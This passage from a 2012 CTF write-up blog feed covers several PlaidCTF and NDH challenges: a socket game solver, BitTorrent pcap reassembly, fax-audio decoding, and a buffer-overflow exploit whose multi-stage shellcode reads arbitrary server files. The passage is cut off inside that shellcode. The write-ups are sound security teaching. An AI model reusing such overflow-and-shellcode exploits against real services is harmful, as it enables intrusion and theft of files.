&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> numbers.<span style="color: black;">index</span><span style="color: black;">&#40;</span>choice1<span style="color: black;">&#41;</span> <span style="color: #66cc66;">&lt;</span> numbers.<span style="color: black;">index</span><span style="color: black;">&#40;</span>choice2<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Send 1 because lower index'</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'1<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; predicted <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unpredicted <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">2</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; candidate <span style="color: #66cc66;">=</span> choice1 <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; notcandidate <span style="color: #66cc66;">=</span> choice2<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Send 2 because lower index'</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'2<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; predicted <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">2</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unpredicted <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; candidate <span style="color: #66cc66;">=</span> choice2<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; notcandidate <span style="color: #66cc66;">=</span> choice1<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">elif</span> choice1 <span style="color: #ff7700;font-weight:bold;">in</span> winner:<br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Send 1 because previous winner'</span><br />
&nbsp; &nbsp; &nbsp; s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'1<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; predicted <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span> <br />
&nbsp; &nbsp; &nbsp; unpredicted <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">2</span><br />
&nbsp; &nbsp; &nbsp; candidate <span style="color: #66cc66;">=</span> choice1 <br />
&nbsp; &nbsp; &nbsp; notcandidate <span style="color: #66cc66;">=</span> choice2<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">elif</span> choice2 <span style="color: #ff7700;font-weight:bold;">in</span> winner:<br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Send 2 because previous winner'</span><br />
&nbsp; &nbsp; &nbsp; s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'2<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; predicted <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">2</span><br />
&nbsp; &nbsp; &nbsp; unpredicted <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span><br />
&nbsp; &nbsp; &nbsp; candidate <span style="color: #66cc66;">=</span> choice2<br />
&nbsp; &nbsp; &nbsp; notcandidate <span style="color: #66cc66;">=</span> choice1<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">else</span>:<br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Send 1 because arbitrary'</span><br />
&nbsp; &nbsp; &nbsp; s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'1<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; predicted <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">1</span><br />
&nbsp; &nbsp; &nbsp; unpredicted <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">2</span><br />
&nbsp; &nbsp; &nbsp; candidate <span style="color: #66cc66;">=</span> choice1<br />
&nbsp; &nbsp; &nbsp; notcandidate <span style="color: #66cc66;">=</span> choice2<br />
<br />
&nbsp; result <span style="color: #66cc66;">=</span> fs.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
&nbsp; result <span style="color: #66cc66;">=</span> fs.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Result'</span><span style="color: #66cc66;">,</span> result<br />
<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> result <span style="color: #66cc66;">==</span> <span style="color: #483d8b;">'Correct!<span style="color: #000099; font-weight: bold;">\n</span>'</span>:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> predicted <span style="color: #66cc66;">!=</span> <span style="color: #483d8b;">'previous'</span>:<br />
&nbsp; &nbsp; &nbsp; matchs<span style="color: black;">&#91;</span>key1<span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> predicted<br />
&nbsp; &nbsp; &nbsp; matchs<span style="color: black;">&#91;</span>key2<span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> unpredicted<br />
&nbsp; &nbsp; &nbsp; winner.<span style="color: black;">append</span><span style="color: black;">&#40;</span>candidate<span style="color: black;">&#41;</span><br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">else</span>:<br />
&nbsp; &nbsp; matchs<span style="color: black;">&#91;</span>key1<span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> unpredicted<br />
&nbsp; &nbsp; matchs<span style="color: black;">&#91;</span>key2<span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> predicted<br />
&nbsp; &nbsp; winner.<span style="color: black;">append</span><span style="color: black;">&#40;</span>notcandidate<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> candidate <span style="color: #ff7700;font-weight:bold;">in</span> numbers:<br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> notcandidate <span style="color: #ff7700;font-weight:bold;">in</span> numbers:<br />
&nbsp; &nbsp; &nbsp; &nbsp; i <span style="color: #66cc66;">=</span> numbers.<span style="color: black;">index</span><span style="color: black;">&#40;</span>candidate<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; j <span style="color: #66cc66;">=</span> numbers.<span style="color: black;">index</span><span style="color: black;">&#40;</span>notcandidate<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; numbers<span style="color: black;">&#91;</span>i<span style="color: black;">&#93;</span><span style="color: #66cc66;">,</span> numbers<span style="color: black;">&#91;</span>j<span style="color: black;">&#93;</span> <span style="color: #66cc66;">=</span> numbers<span style="color: black;">&#91;</span>j<span style="color: black;">&#93;</span><span style="color: #66cc66;">,</span> numbers<span style="color: black;">&#91;</span>i<span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; numbers.<span style="color: black;">append</span><span style="color: black;">&#40;</span>notcandidate<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">else</span>:<br />
&nbsp; &nbsp; &nbsp; numbers.<span style="color: black;">append</span><span style="color: black;">&#40;</span>candidate<span style="color: black;">&#41;</span><br />
<br />
&nbsp; result <span style="color: #66cc66;">=</span> fs.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #ff4500;">1</span>:<br />
&nbsp; &nbsp; line <span style="color: #66cc66;">=</span> s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">4096</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> line:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">break</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Received'</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">repr</span><span style="color: black;">&#40;</span>line<span style="color: black;">&#41;</span><br />
<br />
s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></div></div>
<p>After around 30 minutes...</p>
<blockquote><p>You have gotten 73 of 75</p>
<p>Choice 1 0872b5c42221f31ffadb08e634ab8e5ab6 Choice 2 41b9ffcabc545e4b71b5d9ce1399a145e0<br />
Send 1 because lower index<br />
Result Correct!</p>
<p>You have gotten 74 of 75</p>
<p>Choice 1 dee427827d0b8b54f9545f6e0073c7195f Choice 2 0285648f245ad5c9074defa6800f2b229b<br />
Send 1 because lower index<br />
Result Correct!</p>
<p>Yay you have won!</p>
<p>The key is: d03snt_3v3ry0n3_md5'</p></blockquote>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fcodezen.fr%2F2012%2F04%2F30%2Fplaidctf-2012-potpourri-100-the-game-writeup%2F&amp;title=PlaidCTF%202012%20%E2%80%93%20Potpourri%20100%20%E2%80%93%20The%20Game%20Writeup" id="wpa2a_6"><img src="http://codezen.fr/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2012/04/30/plaidctf-2012-potpourri-100-the-game-writeup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PlaidCTF 2012 &#8211; Practical Packets 200 &#8211; Torrents Writeup</title>
		<link>http://codezen.fr/2012/04/30/plaidctf-2012-practical-packets-200-torrents-writeup/</link>
		<comments>http://codezen.fr/2012/04/30/plaidctf-2012-practical-packets-200-torrents-writeup/#comments</comments>
		<pubDate>Mon, 30 Apr 2012 15:36:44 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[bittorrent]]></category>
		<category><![CDATA[pcap]]></category>
		<category><![CDATA[pctf2012]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=139</guid>
		<description><![CDATA["It turns out that robots, like humans, are cheap and do not like paying for their movies and music. We were able to intercept some torrent downloads but are unsure what the file being downloaded was. Can you figure it out?" We get a pcap file with the P2P part of a BitTorrent exchange between [...]]]></description>
			<content:encoded><![CDATA[<p>"It turns out that robots, like humans, are cheap and do not like paying for their movies and music. We were able to intercept some torrent downloads but are unsure what the file being downloaded was. Can you figure it out?"</p>
<p>We get a pcap file with the P2P part of a BitTorrent exchange between 2 peers.</p>
<p>Hopefully Wireshark has a fairly complete BitTorrent dissector which we will use to get the "pieces" of data.</p>
<p>According to the <a href="http://cs.ecs.baylor.edu/~donahoo/classes/5321/projects/bittorrent/BitTorrent%20Protocol%20Specification.doc">protocol specification</a>, data is transferred in pieces that have an index and an offset. We need to extract each pieces with its index and offset and a Python script will reorder them.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">tshark -r torrent.pcap -R 'bittorrent.piece.data' -T fields -e bittorrent.piece.index -e bittorrent.piece.begin -e bittorrent.piece.data -E separator=\| &gt; torrents.dump</div></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#!/usr/bin/python<br />
<br />
import sys<br />
import struct<br />
<br />
if len(sys.argv) ==2:<br />
&nbsp; print &quot;Parsing &quot;+str(sys.argv[1])<br />
else:<br />
&nbsp; print &quot;Usage: python &quot;+sys.argv[0]+&quot; file.pcap&quot;<br />
&nbsp; exit(10)<br />
<br />
pcap=file(sys.argv[1],&quot;r&quot;)<br />
out=file(sys.argv[1]+&quot;.hex&quot;,&quot;w&quot;)<br />
<br />
data = {}<br />
for p in pcap:<br />
&nbsp; a = p.split(&quot;|&quot;)<br />
<br />
&nbsp; index = int(a[0], 16)<br />
&nbsp; offset = int(a[1], 16)<br />
<br />
&nbsp; print 'Index', index, 'Offset', offset<br />
<br />
&nbsp; order = &quot;%08x&quot; % index + &quot;_&quot; + &quot;%08x&quot; % offset<br />
&nbsp; data[order] = a[2].split(&quot;:&quot;)<br />
<br />
for key in sorted(data.iterkeys()):<br />
&nbsp; print key + &quot;\n&quot;<br />
&nbsp; for b in data[key]:<br />
&nbsp; &nbsp; out.write(chr(int(b,16)))<br />
<br />
pcap.close()<br />
out.close()</div></div>
<blockquote><p>
$ file torrents.dump.hex<br />
torrents.dump.hex: bzip2 compressed data, block size = 900k<br />
$ mkdir key ; cd key ; tar xvfj ../torrents.dump.hex<br />
key.mp3<br />
key.txt<br />
$ cat key.txt<br />
t0renz0_v0n_m4tt3rh0rn
</p></blockquote>
<p>The key is: t0renz0_v0n_m4tt3rh0rn</p>
<p>PS: notice the useless MP3 file just to make the archive and so the bittorrent transfer bigger <img src='http://codezen.fr/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fcodezen.fr%2F2012%2F04%2F30%2Fplaidctf-2012-practical-packets-200-torrents-writeup%2F&amp;title=PlaidCTF%202012%20%E2%80%93%20Practical%20Packets%20200%20%E2%80%93%20Torrents%20Writeup" id="wpa2a_8"><img src="http://codezen.fr/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2012/04/30/plaidctf-2012-practical-packets-200-torrents-writeup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PlaidCTF 2012 &#8211; Practical Packets 250 &#8211; 80s Thinking Writeup</title>
		<link>http://codezen.fr/2012/04/30/plaidctf-2012-practical-packets-250-80s-thinking-writeup/</link>
		<comments>http://codezen.fr/2012/04/30/plaidctf-2012-practical-packets-250-80s-thinking-writeup/#comments</comments>
		<pubDate>Mon, 30 Apr 2012 14:46:53 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[fax]]></category>
		<category><![CDATA[forensic]]></category>
		<category><![CDATA[pctf2012]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=123</guid>
		<description><![CDATA[In this challenge we get a sound wave file named 80s. Listening to it will immediately bring back some memories if you are in your thirties: DTMF dialing, short modem handshake, data. The handshake is very short so I guestimated the speed to be 9600 bauds also the overall sound of it was screaming in [...]]]></description>
			<content:encoded><![CDATA[<p>In this challenge we get a sound wave file named <a href="http://codezen.fr/wp-content/uploads/2012/04/80s.wav">80s</a>.</p>
<p><a href="http://codezen.fr/wp-content/uploads/2012/04/80s.jpg"><img class="alignnone size-medium wp-image-121" title="80s" src="http://codezen.fr/wp-content/uploads/2012/04/80s-300x139.jpg" alt="" width="300" height="139" /></a></p>
<p>Listening to it will immediately bring back some memories if you are in your thirties: DTMF dialing, short modem handshake, data.</p>
<p>The handshake is very short so I guestimated the speed to be 9600 bauds also the overall sound of it was screaming in my brain: "OMG it's a fax!!!1!!"</p>
<p>So it's very simple, it's a recorded fax transfer and you need to decode it to get the fax pages.</p>
<p>This challenge depends very much of your Google-fu. There is many commercial softwares that can decode fax recordings, most for lawful interception purposes. But hopefully, there is a known opensource alternative which is popular in the Asterisk community as the core fax library: <a title="SpanDSP" href="http://www.soft-switch.org/" target="_blank">SpanDSP</a></p>
<p>It's a huge library that does many things beside fax decoding so you will need some time to find what you need: a unit test-case for fax decoding!</p>
<p>From there, it's trival, you massage the sound file a bit to 8000Hz and the test-case output a nice TIF file:</p>
<p><a href="http://codezen.fr/wp-content/uploads/2012/04/fax_decode.jpg"><img class="alignnone size-medium wp-image-126" title="fax_decode" src="http://codezen.fr/wp-content/uploads/2012/04/fax_decode-300x189.jpg" alt="" width="300" height="189" /></a></p>
<p>The key is: BlastFromThePast^_^</p>
<p>PS: output from fax_decode: <a href="http://codezen.fr/wp-content/uploads/2012/04/fax_decode.txt">fax_decode</a></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fcodezen.fr%2F2012%2F04%2F30%2Fplaidctf-2012-practical-packets-250-80s-thinking-writeup%2F&amp;title=PlaidCTF%202012%20%E2%80%93%20Practical%20Packets%20250%20%E2%80%93%2080s%20Thinking%20Writeup" id="wpa2a_10"><img src="http://codezen.fr/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2012/04/30/plaidctf-2012-practical-packets-250-80s-thinking-writeup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://codezen.fr/wp-content/uploads/2012/04/80s.wav" length="5335434" type="audio/wav" />
		</item>
		<item>
		<title>NDH 2012 Prequals &#8211; Sciteek 4004 Write-up &#8211; Multistage file reader</title>
		<link>http://codezen.fr/2012/03/26/ndh-2012-prequals-sciteek-4004-write-up-multistage-file-reader/</link>
		<comments>http://codezen.fr/2012/03/26/ndh-2012-prequals-sciteek-4004-write-up-multistage-file-reader/#comments</comments>
		<pubDate>Mon, 26 Mar 2012 21:48:33 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[multistage]]></category>
		<category><![CDATA[NDH]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=108</guid>
		<description><![CDATA[The daemon on port 4004 is a fairly simple daemon that check for a password (hard-coded in the binary) and just says "You are authenticated". What's interesting is that this daemon is running on the same server that many other challenges so we used it to fetch files and solve the URL Shortener challenge more [...]]]></description>
			<content:encoded><![CDATA[<p>The daemon on port 4004 is a fairly simple daemon that check for a password (hard-coded in the binary) and just says "You are authenticated".</p>
<p>What's interesting is that this daemon is running on the same server that many other challenges so we used it to fetch files and solve the URL Shortener challenge more easily by retrieving its Python source.</p>
<p>We have limited space for the shellcode, only 100 bytes. While you can totally read files in a 100 bytes shellcode if you don't care about error checking, I wanted something cleaner (that's the excuse for spending time to do a multi-stage exploit loader)</p>
<p>This exploit will:<br />
- overflow the buffer (size is 0x100)<br />
- Inject stage 1 loader<br />
- Read Stage 2 from stdin<br />
- Execute Stage 2<br />
- Read filename to dump from stdin<br />
- Open file with error checking<br />
- Dump the file using a read/write loop, so you can dump file bigger than the memory<br />
- Exit</p>
<div class="codecolorer-container python default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span><br />
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">struct</span> <span style="color: #ff7700;font-weight:bold;">import</span> pack<br />
<br />
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">!=</span> <span style="color: #ff4500;">4</span>:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>Usage:<span style="color: #000099; font-weight: bold;">\t</span>./sciteek4004.py [host] [port] [filename]'</span><br />
&nbsp; <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><br />
<br />
host <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><br />
port <span style="color: #66cc66;">=</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
<br />
s <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span><br />
s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host<span style="color: #66cc66;">,</span> port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
<br />
data <span style="color: #66cc66;">=</span> s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">65536</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Received'</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">repr</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span><br />
<br />
<span style="color: #483d8b;">''' Stage 2 '''</span><br />
<span style="color: #483d8b;">''' Read filename from stdin, output to stdout '''</span><br />
<br />
sc &nbsp;<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r1, 0x0</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r0, 0x3</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>94<span style="color: #000099; font-weight: bold;">\x</span>7a&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r2, 0x7b94</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r3, 0x32</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30&quot;</span>&nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># syscall (read)</span><br />
<br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r0, 0x2</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>94<span style="color: #000099; font-weight: bold;">\x</span>7a&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r1, 0x7b94</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r2, 0x0</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r3, r2</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30&quot;</span>&nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># syscall (open)</span><br />
<br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># cmpl r0, 0xffff</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>10<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># jz +57</span><br />
<br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>07<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># mov r7, r0</span><br />
<br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r1, r0</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r0, 0x3</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r2, 0x1000</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>&nbsp; <span style="color: #808080; font-style: italic;"># movl r3, 0x32</span><br />
sc +<span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30&quot;</span>&nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;"># syscall (read)</span><br />
<br />
